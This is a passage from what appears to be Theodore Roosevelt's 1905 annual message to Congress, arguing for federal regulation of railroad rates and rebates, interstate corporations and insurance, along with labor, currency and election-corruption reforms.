unwise to endeavor to secure such an amendment until it is\ncertain that the result cannot be obtained under the Constitution as it\nnow is. The laws of the Congress and of the several States hitherto, as\npassed upon by the courts, have resulted more often in showing that the\nStates have no power in the matter than that the National Government\nhas power; so that there at present exists a very unfortunate condition\nof things, under which these great corporations doing an interstate\nbusiness occupy the position of subjects without a sovereign, neither\nany State Government nor the National Government having effective\ncontrol over them. Our steady aim should be by legislation, cautiously\nand carefully undertaken, but resolutely persevered in, to assert the\nsovereignty of the National Government by affirmative action.This is only in form an innovation. In substance it is merely a\nrestoration; for from the earliest time such regulation of industrial\nactivities has been recognized in the action of the lawmaking bodies;\nand all that I propose is to meet the changed conditions in such manner\nas will prevent the Commonwealth abdicating the power it has always\npossessed not only in this country, but also in England before and\nsince this country became a separate Nation.It has been a misfortune that the National laws on this subject have\nhitherto been of a negative or prohibitive rather than an affirmative\nkind, and still more that they have in part sought to prohibit what\ncould not be effectively prohibited, and have in part in their\nprohibitions confounded what should be allowed and what should not be\nallowed. It is generally useless to try to prohibit all restraint on\ncompetition, whether this restraint be reasonable or unreasonable; and\nwhere it is not useless it is generally hurtful. Events have shown that\nit is not possible adequately to secure the enforcement of any law of\nthis kind by incessant appeal to the courts. The Department of Justice\nhas for the last four years devoted more attention to the enforcement\nof the anti-trust legislation than to anything else. Much has been\naccomplished, particularly marked has been the moral effect of the\nprosecutions; but it is increasingly evident that there will be a very\ninsufficient beneficial result in the way of economic change. The\nsuccessful prosecution of one device to evade the law immediately\ndevelops another device to accomplish the same purpose. What is needed\nis not sweeping prohibition of every arrangement, good or bad, which\nmay tend to restrict competition, but such adequate supervision and\nregulation as will prevent any restriction of competition from being to\nthe detriment of the public--as well as such supervision and regulation\nas will prevent other abuses in no way connected with restriction of\ncompetition. Of these abuses, perhaps the chief, although by no means\nthe only one, is overcapitalization--generally itself the result of\ndishonest promotion--because of the myriad evils it brings in its\ntrain; for such overcapitalization often means an inflation that\ninvites business panic; it always conceals the true relation of the\nprofit earned to the capital actually invested, and it creates a burden\nof interest payments which is a fertile cause of improper reduction in\nor limitation of wages; it damages the small investor, discourages\nthrift, and encourages gambling and speculation; while perhaps worst of\nall is the trickiness and dishonesty which it implies--for harm to\nmorals is worse than any possible harm to material interests, and the\ndebauchery of politics and business by great dishonest corporations is\nfar worse than any actual material evil they do the public. Until the\nNational Government obtains, in some manner which the wisdom of the\nCongress may suggest, proper control over the big corporations engaged\nin interstate commerce--that is, over the great majority of the big\ncorporations--it will be impossible to deal adequately with these\nevils.I am well aware of the difficulties of the legislation that I am\nsuggesting, and of the need of temperate and cautious action in\nsecuring it. I should emphatically protest against improperly radical\nor hasty action. The first thing to do is to deal with the great\ncorporations engaged in the business of interstate transportation. As I\nsaid in my message of December 6 last, the immediate and most pressing\nneed, so far as legislation is concerned, is the enactment into law of\nsome scheme to secure to the agents of the Government such supervision\nand regulation of the rates charged by the railroads of the country\nengaged in interstate traffic as shall summarily and effectively\nprevent the imposition of unjust or unreasonable rates. It must include\nputting a complete stop to rebates in every shape and form. This power\nto regulate rates, like all similar powers over the business world,\nshould be exercised with moderation, caution, and self-restraint; but\nit should exist, so that it can be effectively exercised when the need\narises.The first consideration to be kept in mind is that the power should be\naffirmative and should be given to some administrative body created by\nthe Congress. If given to the present Interstate Commerce Commission,\nor to a reorganized Interstate Commerce Commission, such commission\nshould be made unequivocally administrative. I do not believe in the\nGovernment interfering with private business more than is necessary. I\ndo not believe in the Government undertaking any work which can with\npropriety be left in private hands. But neither do I believe in the\nGovernment flinching from overseeing any work when it becomes evident\nthat abuses are sure to obtain therein unless there is governmental\nsupervision. It is not my province to indicate the exact terms of the\nlaw which should be enacted; but I call the attention of the Congress\nto certain existing conditions with which it is desirable to deal, In\nmy judgment the most important provision which such law should contain\nis that conferring upon some competent administrative body the power to\ndecide, upon the case being brought before it, whether a given rate\nprescribed by a railroad is reasonable and just, and if it is found to\nbe unreasonable and unjust, then, after full investigation of the\ncomplaint, to prescribe the limit of rate beyond which it shall not be\nlawful to go--the maximum reasonable rate, as it is commonly\ncalled--this decision to go into effect within a reasonable time and to\nobtain from thence onward, subject to review by the courts. It\nsometimes happens at present not that a rate is too high but that a\nfavored shipper is given too low a rate. In such case the commission\nwould have the right to fix this already established minimum rate as\nthe maximum; and it would need only one or two such decisions by the\ncommission to cure railroad companies of the practice of giving\nimproper minimum rates. I call your attention to the fact that my\nproposal is not to give the commission power to initiate or originate\nrates generally, but to regulate a rate already fixed or originated by\nthe roads, upon complaint and after investigation. A heavy penalty\nshould be exacted from any corporation which fails to respect an order\nof the commission. I regard this power to establish a maximum rate as\nbeing essential to any scheme of real reform in the matter of railway\nregulation. The first necessity is to secure it; and unless it is\ngranted to the commission there is little use in touching the subject\nat all.Illegal transactions often occur under the forms of law. It has often\noccurred that a shipper has been told by a traffic officer to buy a\nlarge quantity of some commodity and then after it has been bought an\nopen reduction is made in the rate to take effect immediately, the\narrangement resulting to the profit of one shipper and the one railroad\nand to the damage of all their competitors; for it must not be\nforgotten that the big shippers are at least as much to blame as any\nrailroad in the matter of rebates. The law should make it clear so that\nnobody can fail to understand that any kind of commission paid on\nfreight shipments, whether in this form or in the form of fictitious\ndamages, or of a concession, a free pass, reduced passenger rate, or\npayment of brokerage, is illegal. It is worth while considering whether\nit would not be wise to confer on the Government the right of civil\naction against the beneficiary of a rebate for at least twice the value\nof the rebate; this would help stop what is really blackmail. Elevator\nallowances should be stopped, for they have now grown to such an extent\nthat they are demoralizing and are used as rebates.The best possible regulation of rates would, of course, be that\nregulation secured by an honest agreement among the railroads\nthemselves to carry out the law. Such a general agreement would, for\ninstance, at once put a stop to the efforts of any one big shipper or\nbig railroad to discriminate against or secure advantages over some\nrival; and such agreement would make the railroads themselves agents\nfor enforcing the law. The power vested in the Government to put a stop\nto agreements to the detriment of the public should, in my judgment, be\naccompanied by power to permit, under specified conditions and careful\nsupervision, agreements clearly in the interest of the public. But, in\nmy judgment, the necessity for giving this further power is by no means\nas great as the necessity for giving the commission or administrative\nbody the other powers I have enumerated above; and it may well be\ninadvisable to attempt to vest this particular power in the commission\nor other administrative body until it already possesses and is\nexercising what I regard as by far the most important of all the powers\nI recommend--as indeed the vitally important power--that to fix a given\nmaximum rate, which rate, after the lapse of a reasonable time, goes\ninto full effect, subject to review by the courts.All private-car lines, industrial roads, refrigerator charges, and the\nlike should be expressly put under the supervision of the Interstate\nCommerce Commission or some similar body so far as rates, and\nagreements practically affecting rates, are concerned. The private car\nowners and the owners of industrial railroads are entitled to a fair\nand reasonable compensation on their investment, but neither private\ncars nor industrial railroads nor spur tracks should be utilized as\ndevices for securing preferential rates. A rebate in icing charges, or\nin mileage, or in a division of the rate for refrigerating charges is\njust as pernicious as a rebate in any other way. No lower rate should\napply on goods imported than actually obtains on domestic goods from\nthe American seaboard to destination except in cases where water\ncompetition is the controlling influence. There should be publicity of\nthe accounts of common carriers; no common carrier engaged in\ninterstate business should keep any books or memoranda other than those\nreported pursuant to law or regulation, and these books or memoranda\nshould be open to the inspection of the Government. Only in this way\ncan violations or evasions of the law be surely detected. A system of\nexamination of railroad accounts should be provided similar to that now\nconducted into the National banks by the bank examiners; a few\nfirst-class railroad accountants, if they had proper direction and\nproper authority to inspect books and papers, could accomplish much in\npreventing willful violations of the law. It would not be necessary for\nthem to examine into the accounts of any railroad unless for good\nreasons they were directed to do so by the Interstate Commerce\nCommission. It is greatly to be desired that some way might be found by\nwhich an agreement as to transportation within a State intended to\noperate as a fraud upon the Federal interstate commerce laws could be\nbrought under the jurisdiction of the Federal authorities. At present\nit occurs that large shipments of interstate traffic are controlled by\nconcessions on purely State business, which of course amounts to an\nevasion of the law. The commission should have power to enforce fair\ntreatment by the great trunk lines of lateral and branch lines.I urge upon the Congress the need of providing for expeditious action\nby the Interstate Commerce Commission in all these matters, whether in\nregulating rates for transportation or for storing or for handling\nproperty or commodities in transit. The history of the cases litigated\nunder the present commerce act shows that its efficacy has been to a\ngreat degree destroyed by the weapon of delay, almost the most\nformidable weapon in the hands of those whose purpose it is to violate\nthe law.Let me most earnestly say that these recommendations are not made in\nany spirit of hostility to the railroads. On ethical grounds, on\ngrounds of right, such hostility would be intolerable; and on grounds\nof mere National self-interest we must remember that such hostility\nwould tell against the welfare not merely of some few rich men, but of\na multitude of small investors, a multitude of railway employes, wage\nworkers, and most severely against the interest of the public as a\nwhole. I believe that on the whole our railroads have done well and not\nill; but the railroad men who wish to do well should not be exposed to\ncompetition with those who have no such desire, and the only way to\nsecure this end is to give to some Government tribunal the power to see\nthat justice is done by the unwilling exactly as it is gladly done by\nthe willing. Moreover, if some Government body is given increased power\nthe effect will be to furnish authoritative answer on behalf of the\nrailroad whenever irrational clamor against it is raised, or whenever\ncharges made against it are disproved. I ask this legislation not only\nin the interest of the public but in the interest of the honest\nrailroad man and the honest shipper alike, for it is they who are\nchiefly jeoparded by the practices of their dishonest competitors. This\nlegislation should be enacted in a spirit as remote as possible from\nhysteria and rancor. If we of the American body politic are true to the\ntraditions we have inherited we shall always scorn any effort to make\nus hate any man because he is rich, just as much as we should scorn any\neffort to make us look down upon or treat contemptuously any man\nbecause he is poor. We judge a man by his conduct--that is, by his\ncharacter--and not by his wealth or intellect. If he makes his fortune\nhonestly, there is no just cause of quarrel with him. Indeed, we have\nnothing but the kindliest feelings of admiration for the successful\nbusiness man who behaves decently, whether he has made his success by\nbuilding or managing a railroad or by shipping goods over that\nrailroad. The big railroad men and big shippers are simply Americans of\nthe ordinary type who have developed to an extraordinary degree certain\ngreat business qualities. They are neither better nor worse than their\nfellow-citizens of smaller means. They are merely more able in certain\nlines and therefore exposed to certain peculiarly strong temptations.\nThese temptations have not sprung newly into being; the exceptionally\nsuccessful among mankind have always been exposed to them; but they\nhave grown amazingly in power as a result of the extraordinary\ndevelopment of industrialism along new lines, and under these new\nconditions, which the law-makers of old could not foresee and therefore\ncould not provide against, they have become so serious and menacing as\nto demand entirely new remedies. It is in the interest of the best type\nof railroad man and the best type of shipper no less than of the public\nthat there should be Governmental supervision and regulation of these\ngreat business operations, for the same reason that it is in the\ninterest of the corporation which wishes to treat its employes aright\nthat there should be an effective Employers' Liability act, or an\neffective system of factory laws to prevent the abuse of women and\nchildren. All such legislation frees the corporation that wishes to do\nwell from being driven into doing ill, in order to compete with its\nrival, which prefers to do ill. We desire to set up a moral standard.\nThere can be no delusion more fatal to the Nation than the delusion\nthat the standard of profits, of business prosperity, is sufficient in\njudging any business or political question--from rate legislation to\nmunicipal government. Business success, whether for the individual or\nfor the Nation, is a good thing only so far as it is accompanied by and\ndevelops a high standard of conduct--honor, integrity, civic courage.\nThe kind of business prosperity that blunts the standard of honor, that\nputs an inordinate value on mere wealth, that makes a man ruthless and\nconscienceless in trade, and weak and cowardly in citizenship, is not a\ngood thing at all, but a very bad thing for the Nation. This Government\nstands for manhood first and for business only as an adjunct of\nmanhood.The question of transportation lies at the root of all industrial\nsuccess, and the revolution in transportation which has taken place\nduring the last half century has been the most important factor in the\ngrowth of the new industrial conditions. Most emphatically we do not\nwish to see the man of great talents refused the reward for his\ntalents. Still less do we wish to see him penalized but we do desire to\nsee the system of railroad transportation so handled that the strong\nman shall be given no advantage over the weak man. We wish to insure as\nfair treatment for the small town as for the big city; for the small\nshipper as for the big shipper. In the old days the highway of\ncommerce, whether by water or by a road on land, was open to all; it\nbelonged to the public and the traffic along it was free. At present\nthe railway is this highway, and we must do our best to see that it is\nkept open to all on equal terms. Unlike the old highway it is a very\ndifficult and complex thing to manage, and it is far better that it\nshould be managed by private individuals than by the Government. But it\ncan only be so managed on condition that justice is done the public. It\nis because, in my judgment, public ownership of railroads is highly\nundesirable and would probably in this country entail far-reaching\ndisaster, but I wish to see such supervision and regulation of them in\nthe interest of the public as will make it evident that there is no\nneed for public ownership. The opponents of Government regulation dwell\nupon the difficulties to be encountered and the intricate and involved\nnature of the problem. Their contention is true. It is a complicated\nand delicate problem, and all kinds of difficulties are sure to arise\nin connection with any plan of solution, while no plan will bring all\nthe benefits hoped for by its more optimistic adherents. Moreover,\nunder any healthy plan, the benefits will develop gradually and not\nrapidly. Finally, we must clearly understand that the public servants\nwho are to do this peculiarly responsible and delicate work must\nthemselves be of the highest type both as regards integrity and\nefficiency. They must be well paid, for otherwise able men cannot in\nthe long run be secured; and they must possess a lofty probity which\nwill revolt as quickly at the thought of pandering to any gust of\npopular prejudice against rich men as at the thought of anything even\nremotely resembling subserviency to rich men. But while I fully admit\nthe difficulties in the way, I do not for a moment admit that these\ndifficulties warrant us in stopping in our effort to secure a wise and\njust system. They should have no other effect than to spur us on to the\nexercise of the resolution, the even-handed justice, and the fertility\nof resource, which we like to think of as typically American, and which\nwill in the end achieve good results in this as in other fields of\nactivity. The task is a great one and underlies the task of dealing\nwith the whole industrial problem. But the fact that it is a great\nproblem does not warrant us in shrinking from the attempt to solve it.\nAt present we face such utter lack of supervision, such freedom from\nthe restraints of law, that excellent men have often been literally\nforced into doing what they deplored because otherwise they were left\nat the mercy of unscrupulous competitors. To rail at and assail the men\nwho have done as they best could under such conditions accomplishes\nlittle. What we need to do is to develop an orderly system, and such a\nsystem can only come through the gradually increased exercise of the\nright of efficient Government control.In my annual message to the Fifty-eighth Congress, at its third\nsession, I called attention to the necessity for legislation requiring\nthe use of block signals upon railroads engaged in interstate commerce.\nThe number of serious collisions upon unblocked roads that have\noccurred within the past year adds force to the recommendation then\nmade. The Congress should provide, by appropriate legislation, for the\nintroduction of block signals upon all railroads engaged in interstate\ncommerce at the earliest practicable date, as a measure of increased\nsafety to the traveling public.Through decisions of the Supreme Court of the United States and the\nlower Federal courts in cases brought before them for adjudication the\nsafety appliance law has been materially strengthened, and the\nGovernment has been enabled to secure its effective enforcement in\nalmost all cases, with the result that the condition of railroad\nequipment throughout the country is much improved and railroad employes\nperform their duties under safer conditions than heretofore. The\nGovernment's most effective aid in arriving at this result has been its\ninspection service, and that these improved conditions are not more\ngeneral is due to the insufficient number of inspectors employed. The\ninspection service has fully demonstrated its usefulness, and in\nappropriating for its maintenance the Congress should make provision\nfor an increase in the number of inspectors.The excessive hours of labor to which railroad employes in train\nservice are in many cases subjected is also a matter which may well\nengage the serious attention of the Congress. The strain, both mental\nand physical, upon those who are engaged in the movement and operation\nof railroad trains under modern conditions is perhaps greater than that\nwhich exists in any other industry, and if there are any reasons for\nlimiting by law the hours of labor in any employment, they certainly\napply with peculiar force to the employment of those upon whose\nvigilance and alertness in the performance of their duties the safety\nof all who travel by rail depends.In my annual message to the Fifty-seventh Congress, at its second\nsession, I recommended the passage of an employers' liability law for\nthe District of Columbia and in our navy yards. I renewed that\nrecommendation in my message to the Fifty-eighth Congress, at its\nsecond session, and further suggested the appointment of a commission\nto make a comprehensive study of employers' liability, with a view to\nthe enactment of a wise and Constitutional law covering the subject,\napplicable to all industries within the scope of the Federal power. I\nhope that such a law will be prepared and enacted as speedily as\npossible.The National Government has, as a rule, but little occasion to deal\nwith the formidable group of problems connected more or less directly\nwith what is known as the labor question, for in the great majority of\ncases these problems must be dealt with by the State and municipal\nauthorities, and not by the National Government. The National\nGovernment has control of the District of Columbia, however, and it\nshould see to it that the City of Washington is made a model city in\nall respects, both as regards parks, public playgrounds, proper\nregulation of the system of housing, so as to do away with the evils of\nalley tenements, a proper system of education, a proper system of\ndealing with truancy and juvenile offenders, a proper handling of the\ncharitable work of the District. Moreover, there should be proper\nfactory laws to prevent all abuses in the employment of women and\nchildren in the District. These will be useful chiefly as object\nlessons, but even this limited amount of usefulness would be of real\nNational value.There has been demand for depriving courts of the power to issue\ninjunctions in labor disputes. Such special limitation of the equity\npowers of our courts would be most unwise. It is true that some judges\nhave misused this power; but this does not justify a denial of the\npower any more than an improper exercise of the power to call a strike\nby a labor leader would justify the denial of the right to strike. The\nremedy is to regulate the procedure by requiring the judge to give due\nnotice to the adverse parties before granting the writ, the hearing to\nbe ex parte if the adverse party does not appear at the time and place\nordered. What is due notice must depend upon the facts of the case; it\nshould not be used as a pretext to permit violation of law or the\njeopardizing of life or property. Of course, this would not authorize\nthe issuing of a restraining order or injunction in any case in which\nit is not already authorized by existing law.I renew the recommendation I made in my last annual message for an\ninvestigation by the Department of Commerce and Labor of general labor\nconditions, especial attention to be paid to the conditions of child\nlabor and child-labor legislation in the several States. Such an\ninvestigation should take into account the various problems with which\nthe question of child labor is connected. It is true that these\nproblems can be actually met in most cases only by the States\nthemselves, but it would be well for the Nation to endeavor to secure\nand publish comprehensive information as to the conditions of the labor\nof children in the different States, so as to spur up those that are\nbehindhand and to secure approximately uniform legislation of a high\ncharacter among the several States. In such a Republic as ours the one\nthing that we cannot afford to neglect is the problem of turning out\ndecent citizens. The future of the Nation depends upon the citizenship\nof the generations to come; the children of today are those who\ntomorrow will shape the destiny of our land, and we cannot afford to\nneglect them. The Legislature of Colorado has recommended that the\nNational Government provide some general measure for the protection\nfrom abuse of children and dumb animals throughout the United States. I\nlay the matter before you for what I trust will be your favorable\nconsideration.The Department of Commerce and Labor should also make a thorough\ninvestigation of the conditions of women in industry. Over five million\nAmerican women are now engaged in gainful occupations; yet there is an\nalmost complete dearth of data upon which to base any trustworthy\nconclusions as regards a subject as important as it is vast and\ncomplicated. There is need of full knowledge on which to base action\nlooking toward State and municipal legislation for the protection of\nworking women. The introduction of women into industry is working\nchange and disturbance in the domestic and social life of the Nation.\nThe decrease in marriage, and especially in the birth rate, has been\ncoincident with it. We must face accomplished facts, and the adjustment\nof factory conditions must be made, but surely it can be made with less\nfriction and less harmful effects on family life than is now the case.\nThis whole matter in reality forms one of the greatest sociological\nphenomena of our time; it is a social question of the first importance,\nof far greater importance than any merely political or economic\nquestion can be, and to solve it we need ample data, gathered in a sane\nand scientific spirit in the course of an exhaustive investigation.In any great labor disturbance not only are employer and employe\ninterested, but a third party--the general public. Every considerable\nlabor difficulty in which interstate commerce is involved should be\ninvestigated by the Government and the facts officially reported to the\npublic.The question of securing a healthy, self-respecting, and mutually\nsympathetic attitude as between employer and employe, capitalist and\nwage-worker, is a difficult one. All phases of the labor problem prove\ndifficult when approached. But the underlying principles, the root\nprinciples, in accordance with which the problem must be solved are\nentirely simple. We can get justice and right dealing only if we put as\nof paramount importance the principle of treating a man on his worth as\na man rather than with reference to his social position, his occupation\nor the class to which he belongs. There are selfish and brutal men in\nall ranks of life. If they are capitalists their selfishness and\nbrutality may take the form of hard indifference to suffering, greedy\ndisregard of every moral restraint which interferes with the\naccumulation of wealth, and cold-blooded exploitation of the weak; or,\nif they are laborers, the form of laziness, of sullen envy of the more\nfortunate, and of willingness to perform deeds of murderous violence.\nSuch conduct is just as reprehensible in one case as in the other, and\nall honest and farseeing men should join in warring against it wherever\nit becomes manifest. Individual capitalist and individual wage-worker,\ncorporation and union, are alike entitled to the protection of the law,\nand must alike obey the law. Moreover, in addition to mere obedience to\nthe law, each man, if he be really a good citizen, must show broad\nsympathy for his neighbor and genuine desire to look at any question\narising between them from the standpoint of that neighbor no less than\nfrom his own, and to this end it is essential that capitalist and\nwage-worker should consult freely one with the other, should each\nstrive to bring closer the day when both shall realize that they are\nproperly partners and not enemies. To approach the questions which\ninevitably arise between them solely from the standpoint which treats\neach side in the mass as the enemy of the other side in the mass is\nboth wicked and foolish. In the past the most direful among the\ninfluences which have brought about the downfall of republics has ever\nbeen the growth of the class spirit, the growth of the spirit which\ntends to make a man subordinate the welfare of the public as a whole to\nthe welfare of the particular class to which he belongs, the\nsubstitution of loyalty to a class for loyalty to the Nation. This\ninevitably brings about a tendency to treat each man not on his merits\nas an individual, but on his position as belonging to a certain class\nin the community. If such a spirit grows up in this Republic it will\nultimately prove fatal to us, as in the past it has proved fatal to\nevery community in which it has become dominant. Unless we continue to\nkeep a quick and lively sense of the great fundamental truth that our\nconcern is with the individual worth of the individual man, this\nGovernment cannot permanently hold the place which it has achieved\namong the nations. The vital lines of cleavage among our people do not\ncorrespond, and indeed run at right angles to, the lines of cleavage\nwhich divide occupation from occupation, which divide wage-workers from\ncapitalists, farmers from bankers, men of small means from men of large\nmeans, men who live in the towns from men who live in the country; for\nthe vital line of cleavage is the line which divides the honest man who\ntries to do well by his neighbor from the dishonest man who does ill by\nhis neighbor. In other words, the standard we should establish is the\nstandard of conduct, not the standard of occupation, of means, or of\nsocial position. It is the man's moral quality, his attitude toward the\ngreat questions which concern all humanity, his cleanliness of life,\nhis power to do his duty toward himself and toward others, which really\ncount; and if we substitute for the standard of personal judgment which\ntreats each man according to his merits, another standard in accordance\nwith which all men of one class are favored and all men of another\nclass discriminated against, we shall do irreparable damage to the body\npolitic. I believe that our people are too sane, too self-respecting,\ntoo fit for self-government, ever to adopt such an attitude. This\nGovernment is not and never shall be government by a plutocracy. This\nGovernment is not and never shall be government by a mob. It shall\ncontinue to be in the future what it has been in the past, a Government\nbased on the theory that each man, rich or poor, is to be treated\nsimply and solely on his worth as a man, that all his personal and\nproperty rights are to be safeguarded, and that he is neither to wrong\nothers nor to suffer wrong from others.The noblest of all forms of government is self-government; but it is\nalso the most difficult. We who possess this priceless boon, and who\ndesire to hand it on to our children and our children's children,\nshould ever bear in mind the thought so finely expressed by Burke: \"Men\nare qualified for civil liberty in exact proportion to their\ndisposition to put moral chains upon their own appetites; in proportion\nas they are disposed to listen to the counsels of the wise and good in\npreference to the flattery of knaves. Society cannot exist unless a\ncontrolling power upon will and appetite be placed somewhere, and the\nless of it there be within the more there must be without. It is\nordained in the eternal constitution of things that men of intemperate\nminds cannot be free. Their passions forge their fetters.\"The great insurance companies afford striking examples of corporations\nwhose business has extended so far beyond the jurisdiction of the\nStates which created them as to preclude strict enforcement of\nsupervision and regulation by the parent States. In my last annual\nmessage I recommended \"that the Congress carefully consider whether the\npower of the Bureau of Corporations cannot constitutionally be extended\nto cover interstate transactions in insurance.\"Recent events have emphasized the importance of an early and exhaustive\nconsideration of this question, to see whether it is not possible to\nfurnish better safeguards than the several States have been able to\nfurnish against corruption of the flagrant kind which has been exposed.\nIt has been only too clearly shown that certain of the men at the head\nof these large corporations take but small note of the ethical\ndistinction between honesty and dishonesty; they draw the line only\nthis side of what may be called law-honesty, the kind of honesty\nnecessary in order to avoid falling into the clutches of the law. Of\ncourse the only complete remedy for this condition must be found in an\naroused public conscience, a higher sense of ethical conduct in the\ncommunity at large, and especially among business men and in the great\nprofession of the law, and in the growth of a spirit which condemns all\ndishonesty, whether in rich man or in poor man, whether it takes the\nshape of bribery or of blackmail. But much can be done by legislation\nwhich is not only drastic but practical. There is need of a far\nstricter and more uniform regulation of the vast insurance interests of\nthis country. The United States should in this respect follow the\npolicy of other nations by providing adequate national supervision of\ncommercial interests which are clearly national in character. My\npredecessors have repeatedly recognized that the foreign business of\nthese companies is an important part of our foreign commercial\nrelations. During the administrations of Presidents Cleveland,\nHarrison, and McKinley the State Department exercised its influence,\nthrough diplomatic channels, to prevent unjust discrimination by\nforeign countries against American insurance companies. These\nnegotiations illustrated the propriety of the Congress recognizing the\nNational character of insurance, for in the absence of Federal\nlegislation the State Department could only give expression to the\nwishes of the authorities of the several States, whose policy was\nineffective through want of uniformity.I repeat my previous recommendation that the Congress should also\nconsider whether the Federal Government has any power or owes any duty\nwith respect to domestic transactions in insurance of an interstate\ncharacter. That State supervision has proved inadequate is generally\nconceded. The burden upon insurance companies, and therefore their\npolicy holders, of conflicting regulations of many States, is\nunquestioned, while but little effective check is imposed upon any able\nand unscrupulous man who desires to exploit the company in his own\ninterest at the expense of the policy holders and of the public. The\ninability of a State to regulate effectively insurance corporations\ncreated under the laws of other States and transacting the larger part\nof their business elsewhere is also clear. As a remedy for this evil of\nconflicting, ineffective, and yet burdensome regulations there has been\nfor many years a widespread demand for Federal supervision. The\nCongress has already recognized that interstate insurance may be a\nproper subject for Federal legislation, for in creating the Bureau of\nCorporations it authorized it to publish and supply useful information\nconcerning interstate corporations, \"including corporations engaged in\ninsurance.\" It is obvious that if the compilation of statistics be the\nlimit of the Federal power it is wholly ineffective to regulate this\nform of commercial intercourse between the States, and as the insurance\nbusiness has outgrown in magnitude the possibility of adequate State\nsupervision, the Congress should carefully consider whether further\nlegislation can be bad. What is said above applies with equal force to\nfraternal and benevolent organizations which contract for life\ninsurance.There is more need of stability than of the attempt to attain an ideal\nperfection in the methods of raising revenue; and the shock and strain\nto the business world certain to attend any serious change in these\nmethods render such change inadvisable unless for grave reason. It is\nnot possible to lay down any general rule by which to determine the\nmoment when the reasons for will outweigh the reasons against such a\nchange. Much must depend, not merely on the needs, but on the desires,\nof the people as a whole; for needs and desires are not necessarily\nidentical. Of course, no change can be made on lines beneficial to, or\ndesired by, one section or one State only. There must be something like\na general agreement among the citizens of the several States, as\nrepresented in the Congress, that the change is needed and desired in\nthe interest of the people, as a whole; and there should then be a\nsincere, intelligent, and disinterested effort to make it in such shape\nas will combine, so far as possible, the maximum of good to the people\nat large with the minimum of necessary disregard for the special\ninterests of localities or classes. But in time of peace the revenue\nmust on the average, taking a series of years together, equal the\nexpenditures or else the revenues must be increased. Last year there\nwas a deficit. Unless our expenditures can be kept within the revenues\nthen our revenue laws must be readjusted. It is as yet too early to\nattempt to outline what shape such a readjustment should take, for it\nis as yet too early to say whether there will be need for it. It should\nbe considered whether it is not desirable that the tariff laws should\nprovide for applying as against or in favor of any other nation maximum\nand minimum tariff rates established by the Congress, so as to secure a\ncertain reciprocity of treatment between other nations and ourselves.\nHaving in view even larger considerations of policy than those of a\npurely economic nature, it would, in my judgment, be well to endeavor\nto bring about closer commercial connections with the other peoples of\nthis continent. I am happy to be able to announce to you that Russia\nnow treats us on the most-favored-nation basis.I earnestly recommend to Congress the need of economy and to this end\nof a rigid scrutiny of appropriations. As examples merely, I call your\nattention to one or two specific matters. All unnecessary offices\nshould be abolished. The Commissioner of the General Land Office\nrecommends the abolishment of the office of Receiver of Public Moneys\nfor the United States Land Office. This will effect a saving of about a\nquarter of a million dollars a year. As the business of the Nation\ngrows, it is inevitable that there should be from time to time a\nlegitimate increase in the number of officials, and this fact renders\nit all the more important that when offices become unnecessary they\nshould be abolished. In the public printing also a large saving of\npublic money can be made. There is a constantly growing tendency to\npublish masses of unimportant information. It is probably not unfair to\nsay that many tens of thousands of volumes are published at which no\nhuman being ever looks and for which there is no real demand whatever.Yet, in speaking of economy, I must in no wise be understood as\nadvocating the false economy which is in the end the worst\nextravagance. To cut down on the navy, for instance, would be a crime\nagainst the Nation. To fail to push forward all work on the Panama\nCanal would be as great a folly.In my message of December 2, 1902, to the Congress I said:\"Interest rates are a potent factor in business activity, and in order\nthat these rates may be equalized to meet the varying needs of the\nseasons and of widely separated communities, and to prevent the\nrecurrence of financial stringencies, which injuriously affect\nlegitimate business, it is necessary that there should be an element of\nelasticity in our monetary system. Banks are the natural servants of\ncommerce, and, upon them should be placed, as far as practicable, the\nburden of furnishing and maintaining a circulation adequate to supply\nthe needs of our diversified industries and of our domestic and foreign\ncommerce; and the issue of this should be so regulated that a\nsufficient supply should be always available for the business interests\nof the country.\"Every consideration of prudence demands the addition of the element of\nelasticity to our currency system. The evil does not consist in an\ninadequate volume of money, but in the rigidity of this volume, which\ndoes not respond as it should to the varying needs of communities and\nof seasons. Inflation must be avoided; but some provision should be\nmade that will insure a larger volume of money during the Fall and\nWinter months than in the less active seasons of the year; so that the\ncurrency will contract against speculation, and will expand for the\nneeds of legitimate business. At present the Treasury Department is at\nirregularly recurring intervals obliged, in the interest of the\nbusiness world--that is, in the interests of the American public--to\ntry to avert financial crises by providing a remedy which should be\nprovided by Congressional action.At various times I have instituted investigations into the organization\nand conduct of the business of the executive departments. While none of\nthese inquiries have yet progressed far enough to warrant final\nconclusions, they have already confirmed and emphasized the general\nimpression that the organization of the departments is often faulty in\nprinciple and wasteful in results, while many of their business methods\nare antiquated and inefficient. There is every reason why our executive\ngovernmental machinery should be at least as well planned, economical,\nand efficient as the best machinery of the great business\norganizations, which at present is not the case. To make it so is a\ntask of complex detail and essentially executive in its nature;\nprobably no legislative body, no matter how wise and able, could\nundertake it with reasonable prospect of success. I recommend that the\nCongress consider this subject with a view to provide by legislation\nfor the transfer, distribution, consolidation, and assignment of duties\nand executive organizations or parts of organizations, and for the\nchanges in business methods, within or between the several departments,\nthat will best promote the economy, efficiency, and high character of\nthe Government work.In my last annual message I said:\"The power of the Government to protect the integrity of the elections\nof its own officials is inherent and has been recognized and affirmed\nby repeated declarations of the Supreme Court. There is no enemy of\nfree government more dangerous and none so insidious as the corruption\nof the electorate. No one defends or excuses corruption, and it would\nseem to follow that none would oppose vigorous measures to eradicate\nit. I recommend the enactment of a law directed against bribery and\ncorruption in Federal elections. The details of such a law may be\nsafely left to the wise discretion of the Congress, but it should go as\nfar as under the Constitution it is possible to go, and should include\nsevere penalties against him who gives or receives a bribe intended to\ninfluence his act or opinion as an elector; and provisions for the\npublication not only of the expenditures for nominations and elections\nof all candidates, but also of all contributions received and\nexpenditures made by political committees.\"I desire to repeat this recommendation. In political campaigns in a\ncountry as large and populous as ours it is inevitable that there\nshould be much expense of an entirely legitimate kind. This, of course,\nmeans that many contributions, and some of them of large size, must be\nmade, and, as a matter of fact, in any big political contest such\ncontributions are always made to both sides. It is entirely proper both\nto give and receive them, unless there is an improper motive connected\nwith either gift or reception. If they are extorted by any kind of\npressure or promise, express or implied, direct or indirect, in the way\nof favor or immunity, then the giving or receiving becomes not only\nimproper but criminal. It will undoubtedly be difficult, as a matter of\npractical detail, to shape an act which shall guard with reasonable\ncertainty against such misconduct; but if it is possible to secure by\nlaw the full and verified publication in detail of all the sums\ncontributed to and expended by the candidates or committees of any\npolitical parties, the result cannot but be wholesome. All\ncontributions by corporations to any political committee or for any\npolitical purpose should be forbidden by law; directors should not be\npermitted to use stockholders' money for such purposes; and, moreover,\na prohibition of this kind would be, as far as it went, an effective\nmethod of stopping the evils aimed at in corrupt 